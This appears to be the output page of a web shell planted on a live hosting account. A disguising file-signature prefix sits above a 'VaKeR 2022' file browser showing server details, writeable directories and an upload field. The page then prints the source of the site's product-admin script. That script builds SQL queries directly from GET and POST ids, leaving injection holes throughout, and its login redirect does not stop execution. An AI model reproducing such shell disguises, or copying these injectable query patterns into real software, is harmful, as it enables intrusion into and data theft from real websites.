%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6031bb72/admin/manage_product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6031bb72/admin/manage_product/show.php
<?php
include("../function.php");
if ($_SESSION['admin_id'] == "") {
  header('location:../login.php');
}
$login_tbl = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `admin` WHERE admin_id='" . $_SESSION['admin_id'] . "'"));
$mudule_access_tbl = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `mudule_access_tbl` WHERE `module_id` ='5' AND `admin_id`='" . $login_tbl['admin_id'] . "'"));
include('../include/sidebar.php');

#$menu_id=$_GET['id'];

?>

<?php
if (!empty($_GET['copyid'])) {
  $id = $_GET['copyid'];
  $product = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM product_tbl WHERE id=" . $_GET['copyid']));

  $cat_id = $product['cat_id'];
  $sub_cat_id = $product['sub_cat_id'];
  $title = str_replace("'", "\'", $product['title']);
  $title_ar = str_replace("'", "\'", $product['title_ar']);
  $price = str_replace("'", "\'", $product['price']);
  $model_code = str_replace("'", "\'", $product['model_code']);
  $model_year = str_replace("'", "\'", $product['model_year']);
  $old_price = str_replace("'", "\'", $product['old_price']);
  $vat_status = str_replace("'", "\'", $product['vat_status']);
  $shipping_status = str_replace("'", "\'", $product['shipping_status']);
  $shipping_price = str_replace("'", "\'", $product['shipping_price']);
  $part_no = str_replace("'", "\'", $product['part_no']);
  $part_grade = str_replace("'", "\'", $product['part_grade']);
  $short_description = str_replace("'", "\'", $product['short_description']);
  $short_description_ar = str_replace("'", "\'", $product['short_description_ar']);
  $description1 = str_replace("'", "\'", $product['description1']);
  $description1_ar = str_replace("'", "\'", $product['description1_ar']);
  $opportunities_status = $product['opportunities_status'];
  $status = $product['status'];
  $slug = create_url($title);

  $InstQry = mysqli_query($conn, "INSERT `product_tbl` SET
    `cat_id`='$cat_id',
    `sub_cat_id`='$sub_cat_id',
    `title`='$title',
    `title_ar`='$title_ar',
    `price`='$price',
    `model_code`='$model_code',
    `model_year`='$model_year',
    `old_price`='$old_price', 
    `vat_status`='$vat_status',
    `shipping_status`='$shipping_status', 
    `shipping_price`='$shipping_price',
    `part_no`='$part_no',
    `part_grade`='$part_grade',
    `short_description`='$short_description', 
    `short_description_ar`='$short_description_ar', 
    `description1`='$description1',
    `description1_ar`='$description1_ar',
    `opportunities_status`='$opportunities_status',
    `status`='$status',
    `slug`= '$slug'") or die(mysqli_error($conn));
  if ($InstQry) {
    $ido = mysqli_insert_id($conn);
    $d = sprintf("%04d", $ido);
    $product_id = "Product" . $d;

    mysqli_query($conn, "UPDATE `product_tbl` SET `product_id`='$product_id' WHERE id='$ido'");

    echo '<script>alert("Record Inserted Successfully");</script>';
    echo "<script>window.location='show.php?page=pro';</script>";
  }
}
?>



<!-- [ Main Content ] start -->
<div class="pcoded-main-container">
  <div class="pcoded-content">
    <!-- [ breadcrumb ] start -->
    <div class="page-header">
      <div class="page-block">
        <div class="row align-items-center">
          <div class="col-md-12">
            <div class="page-header-title">
              <div class="card-header d-flex justify-content-between">
                <button class="btn btn-dark text-light fw-bold btn-sm btn-round has-ripple"><i class="feather icon-check-square"></i>&nbsp; Manage Product List </button>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
    <!-- [ breadcrumb ] end -->

    <!-- [ Main Content ] start -->
    <div class="row">
      <!-- [ col-md-12 ] start -->
      <form method="POST" action="">
        <div class="col-md-12">
          <div class="card">
            <div class="card-header d-flex justify-content-between">
              <h5>Manage Product List</h5>

              <?php
              if ($login_tbl['roles'] == 3) {
                $query_coin_purchase = mysqli_query($conn, "SELECT * FROM `coin_purchase_tbl` WHERE `agent_id`='" . $login_tbl['admin_id'] . "' ORDER BY id DESC");
                if (mysqli_num_rows($query_coin_purchase) > 0) {
                  $fetch_coin_purchase = mysqli_fetch_array($query_coin_purchase);
                  $avail_days   = $fetch_coin_purchase['availablilty'];
                  $purchaseDate = $fetch_coin_purchase['purchase_date'];
                  $today        = date('Y-m-d');

                  $diff   = (strtotime($today) - strtotime($purchaseDate)) / (60 * 60 * 24);
                  $remain = $avail_days - $diff;


                  $years  = floor($remain / 365);
                  $months = floor(($remain % 365) / 30);
                  $day    = ($remain % 365) % 30;

                  $output = [];

                  if ($years > 0) {
                    $output[] = $years . " Year" . ($years > 1 ? "s" : "");
                  }
                  if ($months > 0) {
                    $output[] = $months . " Month" . ($months > 1 ? "s" : "");
                  }
                  if ($day > 0) {
                    $output[] = $day . " Day" . ($day > 1 ? "s" : "");
                  }

              ?>
                  <h5>Coupon Availablilty : <?php if ($remain > 0) {
                                              echo implode(", ", $output);
                                            } else {
                                              echo '<a style="color:red;">Expired!</a>';
                                            } ?></h5>
                  <h5>Add Limit : <?= ($fetch_coin_purchase['limit_properties'] > 0) ? $fetch_coin_purchase['limit_properties'] : 'Limit Reached!' ?></h5>
              <?php }
              } ?>
              <div>

                <?php
                if ($login_tbl['roles'] == 3 && $mudule_access_tbl['insert1'] == 1) {
                  $agent_id = $_SESSION['admin_id'];
                  $coin_purchase = mysqli_query($conn, "SELECT * FROM `coin_purchase_tbl` WHERE `status`='1' AND expiry_status='0' AND `limit_properties`>'0' AND agent_id='$agent_id'");
                  if (mysqli_num_rows($coin_purchase) > 0) { ?>
                    <a href="add.php?page=pro" class="btn btn-info btn-sm btn-round has-ripple text-white"><i class="feather icon-plus"></i>Add</a>
                  <?php }
                } else { ?>
                  <?php if ($_SESSION['admin_id'] == 1 || $login_tbl['roles'] == 2 && $mudule_access_tbl['insert1'] == 1) { ?>
                    <a href="add.php?page=pro" class="btn btn-info btn-sm btn-round has-ripple text-white"><i class="feather icon-plus"></i>Add</a>
                  <?php }
                }
                if ($_SESSION['admin_id'] == 1 || $login_tbl['roles'] == 2 && $mudule_access_tbl['delete1'] == 1) { ?>
                  <input class="btn btn-danger btn-sm btn-round has-ripple" type="submit" value="Delete" name='but_delete' onclick="return confirm('Are you sure to delete the record?');">
                <?php }
                if ($_SESSION['admin_id'] == 1 || $login_tbl['roles'] == 2 && $mudule_access_tbl['status1'] == 1) { ?>
                  <input class="btn btn-success btn-sm btn-round has-ripple" type="submit" value="Active" name='but_active'>
                  <input class="btn btn-secondary btn-sm btn-round has-ripple" type="submit" value="Deactive" name='but_deactive'>
                <?php } ?>
              </div>
            </div>
            <div id="sale_msg"></div>
            <div class="card-body">

              <?php if (isset($_SESSION['message'])) {
                echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
                    <strong class="text-dark">' . $_SESSION['message'] . '  &nbsp;<i class="feather icon-thumbs-up text-success"></i></strong> 
                    <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
                    </button>
                    </div>';
              }
              unset($_SESSION['message']);
              ?>

              <?php if (isset($_SESSION['error'])) {
                echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
                      <strong class="text-dark">' . $_SESSION['error'] . ' &nbsp;<i class="feather icon-thumbs-up text-danger"></i></strong> 
                      <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
                      </button>
                      </div>';
              }
              unset($_SESSION['error']);
              ?>

              <?php if (isset($_SESSION['delete'])) {
                echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
                      <strong class="text-dark">' . $_SESSION['delete'] . '&nbsp; <i class="feather icon-trash-2 text-danger"></i></strong> 
                      <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
                      </button>
                      </div>';
              }
              unset($_SESSION['delete']);
              ?>
              <div id="opportunities_msg" class="text-center"></div>
              <div class="table-responsive">
                <table id="report-table" class="table table-bordered table-striped mb-0">
                  <thead>
                    <tr>
                      <th><input type="checkbox" id="some1" data-check-pattern="[name^='delete']" />
                      </th>
                      <th>Sno</th>
                      <th>Product Details</th>
                      <th>Images (772pƗ X 636px)</th>
                      <th>Front Status</th>
                      <th>Action</th>
                    </tr>
                  </thead>
                  <tbody>
                    <?php
                    if ($_SESSION['admin_id'] == 1 || $login_tbl['roles'] == 2) {
                      $Query = mysqli_query($conn, "SELECT * FROM `product_tbl` ORDER BY id DESC");
                    } else {
                      $Query = mysqli_query($conn, "SELECT * FROM `product_tbl` WHERE agent_id='" . $login_tbl['admin_id'] . "' ORDER BY id DESC");
                    }
                    $n = 1;
                    while ($row = mysqli_fetch_array($Query)) {
                      $product_id = $row['id'];
                      $brand_id = $row['brand_id'];
                      $cat_id = $row['cat_id'];
                      $category = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `category_tbl` WHERE id=$cat_id"));
                      $subcategory = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `sub_category_tbl` WHERE cat_id='" . $category['id'] . "'"));
                      // $dealtype = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `deal_type_tbl` WHERE id='" . $row['deal_id'] . "'"));
                      // $agent_fetch_details = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `admin` WHERE admin_id='" . $row['agent_id'] . "'"));
                    ?>

                      <tr>
                        <td><input type='checkbox' name='delete[]' value='<?= $row['id']; ?>'></td>
                        <td><?= $n;
                            $n++; ?></td>
                        <td>
                          Name: &nbsp;<b><?= wordwrap($row['title'], 40, "<br>\n"); ?></b><br>
                          Brand: &nbsp;<b><?= wordwrap($category['title'], 40, "<br>\n"); ?></b><br>
                          Model: &nbsp;<b><?= wordwrap($subcategory['title'], 40, "<br>\n"); ?></b><br>
                          Price:&nbsp;<b><img src="<?= $base_url ?>img/back/Logos/Saudi_Riyal_Symbol.svg.png" width="15px" height="auto" /> <?= $row['price'] ?></b><br>
                          Old Price:&nbsp;<S style="color: red;"><img src="<?= $base_url ?>img/back/Logos/Saudi_Riyal_Symbol.svg.png" width="15px" height="auto" /> <?= $row['price'] ?></S><br>
                          Quantity:&nbsp;<?=($row['quantity']==0)?'<b style="color:red;">Out of Stock</b>':'<b style="color:green;">'.$row['quantity'].' - In Stock</b>'; ?><br>
                          <!-- </?php if ($row['agent_id'] != '') { ?>
                            Agent:&nbsp;<b> </?= $agent_fetch_details['name'] ?></b><br>
                            Coin Id:&nbsp;<b> </?= $row['coin_id'] ?></b><br>
                          </?php } ?> -->
                        </td>
                        <td>
                          <img src="<?=$base_url?>images/Upload/product/<?=$row['image1']?>"  width="70px" height="70px" />&nbsp;
                          <?php
                          $attribute = mysqli_query($conn, "SELECT * FROM `product_img_tbl` WHERE product_id ='" . $row['id'] . "'");
                          if (mysqli_num_rows($attribute) > 0) { ?>
                            <?php
                            $Atb = mysqli_query($conn, "SELECT * FROM product_img_tbl WHERE product_id ='" . $row['id'] . "'");
                            while ($row1 = mysqli_fetch_array($Atb)) { ?>
                              <?php
                              $file_ext = strtolower(pathinfo($row1["image_atb"], PATHINFO_EXTENSION));
                              if (in_array($file_ext, ['jpg', 'jpeg', 'png', 'gif', 'webp', 'avif'])) {
                                echo '<img src="' . $base_url . 'images/Upload/product/' . $row1['image_atb'] . '"  width="70px" height="70px">&nbsp;';
                              } elseif (in_array($file_ext, ['mp4', 'mkv', 'webm', 'ogg'])) {
                                echo '<video width="200" controls">
                                <source src="' . $base_url . 'images/Upload/product/' . $row1["image_atb"] . '" type="video/' . $file_ext . '">
                                </video>';
                              }
                              ?>

                            <?php }; ?>
                          <?php } else { ?>
                          <?php } ?>

                        </td>

                        <td>
                          <?php if ($row['opportunities_status'] == 1) { ?>
                            <a class="opportunities_status btn btn-success btn-sm" data-pro_id="<?= $row['id'] ?>" data-value="0">Show</a>
                          <?php } else { ?>
                            <a class="opportunities_status btn btn-secondary btn-sm" data-pro_id="<?= $row['id'] ?>" data-value="1">Hide</a>
                          <?php } ?>
                        </td>

                        <td>
                          <?php
                          if ($_SESSION['admin_id'] == 1 || $mudule_access_tbl['status1'] == 1) {
                            if (($row['status'] == '1')) {
                              echo '<a href="show.php?page=pro&&status_id=' . $row['id'] . '" class="btn btn-success btn-sm"><i class="feather icon-eye"></i></a>';
                            } else {
                              echo '<a href="show.php?page=pro&&status_id=' . $row['id'] . '" class="btn btn-danger btn-sm"><i class="feather icon-eye-off"></i></a>';
                            }
                          }
                          ?>&nbsp;
                          <?php
                          if ($_SESSION['admin_id'] == 1 || $mudule_access_tbl['update1'] == 1) { ?>
                            <a href="edit.php?page=pro&&id=<?= $row['id'] ?>" class="btn btn-info btn-sm"><i class="feather icon-edit"></i></a>&nbsp;

                          <?php }
                          if ($_SESSION['admin_id'] == 1 || $mudule_access_tbl['delete1'] == 1) { ?>


                            <a href="show.php?page=pro&&delete_id=<?= $row['id'] ?>" class="btn btn-danger btn-sm" onclick="return confirm('Are you sure to delete the records?');"><i class="feather icon-trash-2"></i></a>&nbsp;
                            <?php }
                          if ($login_tbl['roles'] == 3 && $mudule_access_tbl['insert1'] == 1) {
                            $coin_purchase1 = mysqli_query($conn, "SELECT * FROM `coin_purchase_tbl` WHERE `status`='1' AND expiry_status='0' AND `limit_properties`>'0' AND agent_id='" . $_SESSION['admin_id'] . "'");
                            if (mysqli_num_rows($coin_purchase1) > 0) { ?>
                              <a href="show.php?page=pro&copyid=<?= $row['id'] ?>" class="btn btn-sm bg-secondary text-white fs-13px btn-xs me-4" onclick="return confirm('Are you sure to copy the record?');"><i class="far fa-copy "></i></a>
                            <?php }
                          } else {
                            if ($_SESSION['admin_id'] == 1 || $mudule_access_tbl['insert1'] == 1) { ?>
                              <a href="show.php?page=pro&copyid=<?= $row['id'] ?>" class="btn btn-sm bg-secondary text-white fs-13px btn-xs me-4" onclick="return confirm('Are you sure to copy the record?');"><i class="far fa-copy "></i></a>
                          <?php }
                          }; ?>
                        </td>
                      </tr>

                    <?php }; ?>

                  </tbody>
                </table>
              </div>

            </div>
          </div>
        </div>
      </form>
      <!-- col-md-12 end -->
    </div>
    <!-- [ Main Content ] end -->
  </div>
</div>

<!-- Required Js -->

<?php include('../include/footer.php'); ?>

<script type="text/javascript">
  $(document).ready(function() {
    // Handle click
    $('.opportunities_status').on('click', function() {
      let product_id = $(this).data("pro_id");
      let value = $(this).data("value");

      $.ajax({
        url: 'opportunities_ajax.php',
        type: 'POST',
        data: { product_id: product_id, value: value },
        dataType: 'json',
        success: function(response) {
          if (response.status === 'success') {
            localStorage.setItem('opportunity_msg', 'success');
            location.reload();
          } else if (response.status === 'failed') {
            localStorage.setItem('opportunity_msg', 'failed');
            location.reload();
          }
        }
      });
    });

    let msg = localStorage.getItem('opportunity_msg');
    if (msg === 'success') {
      $('#opportunities_msg').html('<p style="color:green; text-align:center;">Product activated successfully! šŸ‘</p>');
    } else if (msg === 'failed') {
      $('#opportunities_msg').html('<p style="color:red; text-align:center;">Product deactivated successfully! šŸ‘Ž</p>');
    }

    if (msg) {
      setTimeout(function() {
        $('#opportunities_msg').fadeOut('slow');
        localStorage.removeItem('opportunity_msg'); 
      }, 3000);
    }
  });
</script>

<script type="text/javascript">
  $(document).ready(function() {
    $('.sale_update').on('click', function() {
      let id = $(this).data('id');
      let sale = $(this).val();
      $.ajax({
        url: 'sale_update.php',
        type: 'POST',
        data: {
          id: id,
          sale: sale
        },
        dataType: 'json',
        success: function(response) {
          if (response.status == 'success') {
            $('#sale_msg').html('<p style="color:green; text-align:center;">Sale status updated successfully! šŸ‘</p>');
            setTimeout(function() {
              $('#sale_msg').fadeOut('slow');
            }, 5000);
          } else {
            $('#sale_msg').html('<p style="color:red; text-align:center;">Failed to update sale status! šŸ‘Ž</p>');
            setTimeout(function() {
              $('#sale_msg').fadeOut('slow');
            }, 5000);
          }
        }
      });
    });
  });
</script>


<?php
if (!empty($_GET['status_id'])) {
  $id = $_GET['status_id'];
  $stsQry = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `product_tbl` WHERE id ='$id'"));
  if ($stsQry['status'] == 0) {
    $updtQry = mysqli_query($conn, "UPDATE `product_tbl` SET `status`='1' WHERE id='$id'") or die(mysqli_error($conn));
    if ($updtQry) {
      echo "<script>window.location='show.php?page=pro';</script>";
      $_SESSION['message'] = "Status Activated Successfully";
    }
  } elseif ($stsQry['status'] == 1) {
    $updtQry = mysqli_query($conn, "UPDATE `product_tbl` SET `status`='0' WHERE id='$id'") or die(mysqli_error($conn));
    if ($updtQry) {
      echo "<script>window.location='show.php?page=pro';</script>";
      $_SESSION['error'] = "Status Deactivated Successfully";
    }
  }
}

?>
<?php
if (!empty($_GET['delete_id'])) {
  $id = $_GET['delete_id'];
  $dlt = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `product_tbl` WHERE id='" . $_GET['delete_id'] . "'"));
  $dlt_path = "../../images/Upload/product/" . $dlt['image1'];
  unlink($dlt_path);
  $dlt_path1 = "../../images/Upload/product/" . $dlt['logo_image1'];
  unlink($dlt_path1);

  $result = mysqli_query($conn, "SELECT * FROM `product_img_tbl` WHERE product_id='$id'");
  while ($dlt1 = mysqli_fetch_array($result)) {
    $dlt_path1 = "../../images/Upload/product/" . $dlt1['image_atb'];
    unlink($dlt_path1);
  }
  $deleteUser = "DELETE FROM product_img_tbl WHERE product_id='$id'";
  mysqli_query($conn, $deleteUser);


  // $dtQuery1 = mysqli_query($conn, "DELETE FROM `product_previews_tbl` WHERE product_id='$id'");
  // $dtQuery2 = mysqli_query($conn, "DELETE FROM `product_information_tbl` WHERE product_id='$id'");
  // $dtQuery3 = mysqli_query($conn, "DELETE FROM `product_discription_tbl` WHERE product_id='$id'");
  $dtQuery = mysqli_query($conn, "DELETE FROM `product_tbl` WHERE id='$id'");
  if ($dtQuery) {
    echo "<script>window.location='show.php?page=pro';</script>";
    $_SESSION['delete'] = "Record Deleted Successfully";
  }
}
?>

<?php
if (isset($_POST['but_delete']) && isset($_POST['delete'])) {

  foreach ($_POST['delete'] as $deleteid) {
    // Delete images associated with the product from product_img_tbl
    $result_img = mysqli_query($conn, "SELECT * FROM `product_img_tbl` WHERE product_id='$deleteid'");
    while ($dlt_img = mysqli_fetch_array($result_img)) {
      $dlt_path_img = "../../images/Upload/product/" . $dlt_img['image_atb'];
      unlink($dlt_path_img);
      $dlt_path_img1 = "../../images/Upload/product/" . $dlt_img['logo_image1'];
      unlink($dlt_path_img1);
    }

    // Delete the main product image from product_tbl
    $dlt1 = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `product_tbl` WHERE id='$deleteid'"));
    $dlt_path_main = "../../images/Upload/product/" . $dlt1['image1'];
    unlink($dlt_path_main);

    // Delete related entries from other tables
    // $dtQuery1 = mysqli_query($conn, "DELETE FROM `product_previews_tbl` WHERE product_id='$id'");
    // $dtQuery2 = mysqli_query($conn, "DELETE FROM `product_information_tbl` WHERE product_id='$id'");
    // $dtQuery3 = mysqli_query($conn, "DELETE FROM `product_discription_tbl` WHERE product_id='$id'");
    mysqli_query($conn, "DELETE FROM product_img_tbl WHERE product_id='$deleteid'");
    mysqli_query($conn, "DELETE FROM product_tbl WHERE id='$deleteid'");
  }

  echo "<script>window.location='show.php?page=pro';</script>";
  $_SESSION['delete'] = "All Records Deleted Successfully";
}
?>


<?php
if (isset($_POST['but_active'])) {

  if (isset($_POST['delete'])) {
    foreach ($_POST['delete'] as $deleteid) {
      $deleteUser =  "UPDATE `product_tbl` SET `status`='1' WHERE id=" . $deleteid;
      mysqli_query($conn, $deleteUser);
      echo "<script>window.location='show.php?page=pro';</script>";

      $_SESSION['message'] = "All Status Activated Successfully";
    }
  }
}
?>

<?php
if (isset($_POST['but_deactive'])) {

  if (isset($_POST['delete'])) {
    foreach ($_POST['delete'] as $deleteid) {
      $deleteUser = "UPDATE `product_tbl` SET `status`='0' WHERE id=" . $deleteid;
      mysqli_query($conn, $deleteUser);
    }
    echo "<script>window.location='show.php?page=pro';</script>";
    $_SESSION['error'] = "All Status Deactivated Successfully";
  }
}
?>

VaKeR 2022